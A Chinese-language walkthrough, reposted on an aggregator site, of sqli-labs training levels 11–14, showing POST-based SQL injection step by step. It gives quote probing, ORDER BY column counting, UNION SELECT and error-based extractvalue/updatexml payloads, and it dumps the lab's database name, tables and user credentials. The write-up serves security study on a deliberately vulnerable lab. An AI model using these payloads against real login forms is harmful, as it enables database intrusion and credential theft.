Web安全-SQL注入【sqli靶场第11-14关】(三)

news2024/12/23 6:13:46

★★实战前置声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

0、总体思路

先确认是否可以SQL注入,使用单双引号,1/0,括号测试 ’ " 1/0 ),页面显示不同内容或响应长度来确定。存在SQL注入后则开始构造轮子进行验证,猜出数据库,用户名,表名,字段名,有没有文件漏洞等。

为方便验证提交拦截到BP,右击到Repeater修改参数值进行验证看响应内容。

特殊字符说明

+表示空格
--表示注释

以下内容验证都是在uname=后面构造进行验证。

在这里插入图片描述

1、Less11

POST - Error Based - Single quotes- String

1.1、判断是否存在SQL注入

正常响应长度

在这里插入图片描述

输入带单引号’,响应长度有变化

在这里插入图片描述

往下拉看到有提示错误信息,可以确定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123' LIMIT 0,1' at line 1

1.2、确定查询字段个数

从界面上看应该是2个,但还是以确定结果为准

# 输入内容
'+order+by+3--+

# 关键结果
Unknown column '3' in 'order clause'</br>

# 修改为2
'+order+by+2--+

# 关键结果
Your Login name:admin<br>
Your Password:admin<br>

所以可以确定的是查询字段是2个,刚好又是我输入的是弱口令账户:admin,后面密码匹配条件又被我注释了,账号密码就拿到了,是可以登录成功。接下来看是否可拿到其他数据,比如数据库等。

在这里插入图片描述

1.3、联合查询

通过union语句方式发现没办法拿到其他数据,需要尝试报错函数

# 验证内容1
'+and+1=2+union+select+1,2--+

# 输出内容
Your Login name:1<br>
Your Password:2<br>

# 验证内容2
'+and+1=1+union+select+1,2--+
# 验证内容2
'+and+1=1+union+select+database(),user()--+

# 输出内容
Your Login name:admin<br>
Your Password:admin<br>

1.4、报错函数

1.4.1、获取数据库名和账号

报错函数extractvalue,0x7e是~的ASCII码,字符型后面有加单引号,数字型没有,

# 字符型
extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
#数字型
extractvalue(1,concat(0x7e,(select+user()),0x7e))=1

根据报错函数获取到数据库名,登录名

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1

# 输出内容
XPATH syntax error: '~security~'</br>

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1

# 输出内容
XPATH syntax error: '~root@localhost~'</br>

报错函数updatexml,字符型后面有加单引号,数字型没有,以下的函数结果和上面的内容获取的结果是一样的

# 字符型
(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
#数字型
(updatexml(1,concat(0x7e,(select+user()),0x7e),1))=1
1.4.2、获取表名

使用updatexml获取库的表名,0x23是#的ASCII码

# 输入内容
'and+(updatexml(1,concat(0x23,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security')),1))='1

# 输出内容
XPATH syntax error: '#emails,referers,uagents,users'</br>

从获取到的数据库表名,users应该就是存储数据库登录名的表了。

注意:在靶场实验过程中可获取:数据库=>表=>字段=>数据 ,但在实战过程中,到数据库这个步骤就行,不要去查数据。

1.4.3、获取表对应字段
# 输入内容
'and+(updatexml(1,concat(0x23,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users')),1))='1

# 输出内容
XPATH syntax error: '#id,username,password'</br>
1.4.4、获取表数据
# 输入内容
'and+(updatexml(1,concat(0x23,(select+group_concat(id,'~',username,'~',password)+from+security.users)),1))='1

# 输出内容
XPATH syntax error: '#1~Dumb~Dumb,2~Angelina~I-kill-y'</br>

1.5、验证登录

使用账号/密码:Dumb/Dumb,登录成功

在这里插入图片描述

2、Less12

POST - Error Based - Double quotes- String-with twist

2.1、判断是否存在SQL注入

正常响应长度

在这里插入图片描述

输入带单引号’发现没有变化

在这里插入图片描述

尝试用双引号",响应长度有变化

在这里插入图片描述

往下拉看到有提示错误信息,可以确定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123") LIMIT 0,1' at line 1

2.2、确定查询字段个数

从界面上看应该是2个,但还是以确定结果为准

# 输入内容
"+order+by+3--+

# 输出结果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ") and password=("123") LIMIT 0,1' at line 1</br>

从错误结果来看是少了括号)闭合,因此调整轮子加上括号)验证

# 输入内容
")+order+by+3--+

# 输出结果
Unknown column '3' in 'order clause'</br>

# 修改为2
")+order+by+2--+

# 输出结果
Your Login name:admin<br>
Your Password:admin<br>

所以可以确定的是查询字段是2个,刚好又是我输入的是弱口令账户:admin,后面密码匹配条件又被我注释了,账号密码就拿到了,是可以登录成功。接下来看是否可拿到其他数据,比如数据库等。

注意后面的所有内容破解前面部分都是需要")把前面语句闭合。

2.3、联合查询

2.3.1、获取数据库名和账号

通过union语句方式查询数据库,用户名。

# 输入内容
")+and+1=2+union+select+database(),user()--+

# 输出结果
Your Login name:security<br>
Your Password:root@localhost<br>
2.3.2、获取表名

上面得到的数据库,进一步获取表名

# 输入内容
")+and+1=2+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'--+

# 输出结果
Your Login name:1<br>
Your Password:emails,referers,uagents,users<br>

从获取到的数据库表名,users应该就是存储数据库登录名的表了。

2.3.3、获取表对应字段
# 输入内容
")+and+1=2+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'--+

# 输出结果
Your Login name:1<br>
Your Password:id,username,password<br>
2.3.4、获取表数据
# 输入内容
")+and+1=2+union+select+1,group_concat(id,'~',username,'~',password)+from+security.users--+

# 输出结果
Your Login name:1<br>
Your Password:1~Dumb~Dumb,2~Angelina~I-kill-you,3~Dummy~p@ssword,4~secure~crappy,5~stupid~stupidity,6~superman~genious,7~batman~mob!le,8~admin~admin,9~admin1~admin1,10~admin2~admin2,11~admin3~admin3,12~dhakkan~dumbo,14~admin4~admin4<br>

账号/密码有点多,随便找一个进行验证。

2.4、验证登录

使用账号/密码:admin3/admin3,登录成功

在这里插入图片描述

3、Less13

POST - Double Injection - Single quotes- String -with twist

3.1、判断是否存在SQL注入

正常响应长度

在这里插入图片描述

输入带单引号’,响应长度有变化

在这里插入图片描述

往下拉看到有提示错误信息,可以确定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123') LIMIT 0,1' at line 1

3.2、确定查询字段个数

从界面上看应该是2个,但还是以确定结果为准

# 输入内容
'+order+by+3--+

# 输出结果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ') and password=('123') LIMIT 0,1' at line 1</br>

从错误结果来看是少了括号)闭合,因此调整轮子加上括号)验证

# 输入内容
')+order+by+3--+

# 输出结果
Unknown column '3' in 'order clause'</br>

# 修改为2
')+order+by+2--+

# 输出结果--没有报错内容

所以可以确定的是查询字段是2个

注意后面的所有内容破解前面部分都是需要')把前面语句闭合。

3.3、联合查询

通过union语句方式发现没办法拿到其他数据,需要尝试报错函数

# 输入内容
')+and+1=1+union+select+database(),user()--+

在这里插入图片描述

3.4、报错函数

3.4.1、获取数据库名和账号

根据报错函数获取到数据库名,登录名

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1

# 输出内容
XPATH syntax error: '~security~'</br>

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1

# 输出内容
XPATH syntax error: '~root@localhost~'</br>
3.4.2、获取表名

使用updatexml获取库的表名,0x23是#的ASCII码,前面部分加上')用来闭合前面的语句,后面=1而不是='1,再加上--+用于注释后面的语句,获取了表名了。

# 输入内容
')and+(updatexml(1,concat(0x23,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security')),1))=1--+
# 输出内容
XPATH syntax error: '#emails,referers,uagents,users'</br>

在这里插入图片描述

4、Less14

POST - Double Injection - Single quotes- String -with twist

4.1、判断是否存在SQL注入

正常响应长度

在这里插入图片描述

输入带双引号",响应长度有变化

在这里插入图片描述

往下拉看到有提示错误信息,可以确定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123" LIMIT 0,1' at line 1</br>

4.2、确定查询字段个数

从界面上看应该是2个,但还是以确定结果为准

# 输入内容
"+order+by+3--+

# 输出结果
Unknown column '3' in 'order clause'</br>

# 修改为2
"+order+by+2--+

# 输出结果--没有报错内容

所以可以确定的是查询字段是2个。

3.3、联合查询

通过union语句方式发现没办法拿到其他数据,需要尝试报错函数

# 输入内容
"+and+1=1+union+select+database(),user()--+

在这里插入图片描述

4.4、报错函数

4.4.1、获取数据库名和账号

根据报错函数获取到数据库名,登录名

# 输入内容
"and+extractvalue(1,concat(0x7e,(select+database()),0x7e))="1

# 输出内容
XPATH syntax error: '~security~'</br>

# 输入内容
"and+extractvalue(1,concat(0x7e,(select+user()),0x7e))="1

# 输出内容
XPATH syntax error: '~root@localhost~'</br>

5、资料获取

sqli-labs靶场环境搭建请参考《靶场环境搭建【XP、pikachu、dvwa、sqli-labs】》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1303387.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

深拷贝、浅拷贝 react的“不可变值”

知识获取源–晨哥&#xff08;现实中的人 嘿嘿&#xff09; react中如果你想让一个值始终不变 或者说其他操作不影响该值 它只是作用初始化的时候 使用了浅拷贝–改变了初始值 会改变初始值(selectList1) 都指向同一个地址 const selectList1 { title: 大大, value: 1 };con…

ES-分析器

分析器 两种常用的英语分析器 1 测试工具 #可以通过这个来测试分析器 实际生产环境中我们肯定是配置在索引中来工作 GET _analyze {"text": "My Moms Son is an excellent teacher","analyzer": "english" }2 实际效果 比如我们有下…

前端框架(Front-end Framework)和库(Library)的区别

聚沙成塔每天进步一点点 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 欢迎来到前端入门之旅&#xff01;感兴趣的可以订阅本专栏哦&#xff01;这个专栏是为那些对Web开发感兴趣、刚刚踏入前端领域的朋友们量身打造的。无论你是完全的新手还是有一些基础的开发…

基于OpenCV+CNN+IOT+微信小程序智能果实采摘指导系统——深度学习算法应用(含python、JS工程源码)+数据集+模型(三)

目录 前言总体设计系统整体结构图系统流程图 运行环境Python环境TensorFlow 环境Jupyter Notebook环境Pycharm 环境微信开发者工具OneNET云平台 模块实现1. 数据预处理1&#xff09;爬取功能2&#xff09;下载功能 2. 创建模型并编译1&#xff09;定义模型结构2&#xff09;优化…

appium安卓app自动化,遇到搜索框无搜索按钮元素时无法搜索的解决方案

如XX头条&#xff0c;搜索框后面有“搜索”按钮&#xff0c;这样实现搜索操作较为方便。 但有些app没有设置该搜索按钮&#xff0c;初学者就要花点时间去学习怎么实现该功能了&#xff0c;如下图。 这时候如果定位搜索框&#xff0c;再点击操作&#xff0c;再输入文本后&#x…

java工程(ajax/axios/postman)向请求头中添加消息

1、问题概述 在项目中我们经常会遇到需要向请求头中添加消息的场景&#xff0c;然后后端通过request.getRequest()或者RequestHeader获取请求头中的消息。 下面提供几种前端向请求头添加消息的方式 2、创建一个springmvc工程用于测试 2.1、创建工程并引入相关包信息 sprin…

Maven项目引入本地jar

Maven项目引入本地jar 1.对应maven模块项目中建lib目录&#xff0c;将jar放入进去 2.在对应的模块pom.xml中引入此依赖jar 3.在对应的maven-plugin插件打包的pom.xml中指定需要includeSystemScope为true的jar

做数据分析为何要学统计学(10)——如何进行时间序列分析

时间序列是由随时间变化的值构成&#xff0c;如产品销量、气温数据等等。通过对时间序列展开分析&#xff0c;能够回答如下问题&#xff1a; &#xff08;1&#xff09;被研究对象的活动特征是否有周期性&#xff08;也称季节性&#xff09;&#xff08;2&#xff09;被研究对…

strict-origin-when-cross-origin

严格限制同源策略 &#xff08;1&#xff09;允许服务器的同源IP地址访问 &#xff08;2&#xff09;允许Referer --- 后端服务器要配置

2023年阿里云云栖大会-核心PPT资料下载

一、峰会简介 历经14届的云栖大会&#xff0c;是云计算产业的建设者、推动者、见证者。2023云栖大会以“科技、国际、年轻”为基调&#xff0c;以“计算&#xff0c;为了无法计算的价值”为主题&#xff0c;发挥科技平台汇聚作用&#xff0c;与云计算全产业链上下游的先锋代表…

树莓派,opencv,Picamera2利用舵机云台追踪人脸

一、需要准备的硬件 Raspiberry 4b两个SG90 180度舵机&#xff08;注意舵机的角度&#xff0c;最好是180度且带限位的&#xff0c;切勿选360度舵机&#xff09;二自由度舵机云台&#xff08;如下图&#xff09;Raspiberry CSI 摄像头 组装后的效果&#xff1a; 二、项目目标…

排序-选择排序与堆排序

文章目录 一、选择排序二、堆排序三、时间复杂度四、稳定性 一、选择排序 思想&#xff1a; 将数组第一个元素作为min&#xff0c;然后进行遍历与其他元素对比&#xff0c;找到比min小的数就进行交换&#xff0c;直到最后一个元素就停止&#xff0c;然后再将第二个元素min&…

温湿度传感器DHT11的简单应用

文章目录 一、DHT11是什么&#xff1f;二、使用步骤1.硬件1.硬件连接2.工作原理1.串行单总线2.温湿度数据采集原理 2.软件1.DHT11初始化如下&#xff08;示例&#xff09;&#xff1a;2.DHT11复位如下&#xff08;示例&#xff09;&#xff1a;3.等待DHT11的回应如下&#xff0…

微信小程序过滤器之计算当前时间差

微信小程序过滤器之计算当前时间差 前言一、wxs简介二、使用步骤1.定义2.使用 前言 最近遇到了一个需求&#xff0c;将小程序里面的具体时间2023-12-11 09:41:06转为当前时间差10小时前&#xff0c;这块可以使用js逻辑函数对数据进行处理&#xff0c;但这里我们采用微信小程序…

Linux系统vim,gcc,g++工具使用及环境配置,动静态库的概念及使用

Linux系统vim&#xff0c;gcc&#xff0c;g工具使用及环境配置&#xff0c;动静态库的概念及使用 1. Linux编辑器-vim的使用1.1 vim的基本概念1.2vim的基本操作1.3vim正常模式命令集1.4vim末端模式命令集1.5简单的vim配置 2.Linux编译器-gcc/g的使用2.1 准备阶段2.2gcc的使用2.…

DevEco Studio将编辑器整体文本改为简体中文

我们打开编辑器 随便进入一个项目 这里 我们左上角目录 选择 File下面菜单中的 Settings… 打开配置界面 然后在设置窗口左侧导航栏中 选择 Plugins 插件 然后上方导航栏中 选择 Installed 参考下图 然后 找到这个Chinese(Simplified) Chinese是什么应该不用我多说吧 我们把…

多合一iPhone 解锁工具:iMyFone LockWiper iOS

多合一iPhone 解锁工具 无需密码解锁 iPhone/iPad/iPod touch 上所有类型的屏幕锁定 在几分钟内解锁 iPhone Apple ID、Touch ID 和 Face ID 立即绕过 MDM 并删除 iPhone/iPad/iPod touch 上的 MDM 配置文件 支持所有 iOS 版本和设备&#xff0c;包括最新的 iOS 17 和 iPhone 1…

从零构建属于自己的GPT系列5:模型部署1(文本生成函数解读、模型本地化部署、文本生成文本网页展示、代码逐行解读)

&#x1f6a9;&#x1f6a9;&#x1f6a9;Hugging Face 实战系列 总目录 有任何问题欢迎在下面留言 本篇文章的代码运行界面均在PyCharm中进行 本篇文章配套的代码资源已经上传 从零构建属于自己的GPT系列1&#xff1a;数据预处理 从零构建属于自己的GPT系列2&#xff1a;模型训…

Nginx的location和rewrite的使用

目录 常用的Nginx 正则表达式 location location 大致可以分为三类&#xff1a; 精准匹配&#xff1a;location / {...} 一般匹配&#xff1a;location / {...} 正则匹配&#xff1a;location ~ / {...} location 常用的匹配规则 location 优先级 location 示例说明…

day45-46-Vue+ElementUI实现学生管理

VueElementUI实现学生管理 代码&#xff1a; qiushiju/java2313_vue_elementui_crud (gitee.com) 一、思考 考虑需求&#xff08;登录&#xff0c;查询全部&#xff0c;基本增删改查&#xff0c;分页&#xff0c;搜索&#xff0c;批量&#xff09; 设计数据库搭建项目 后端…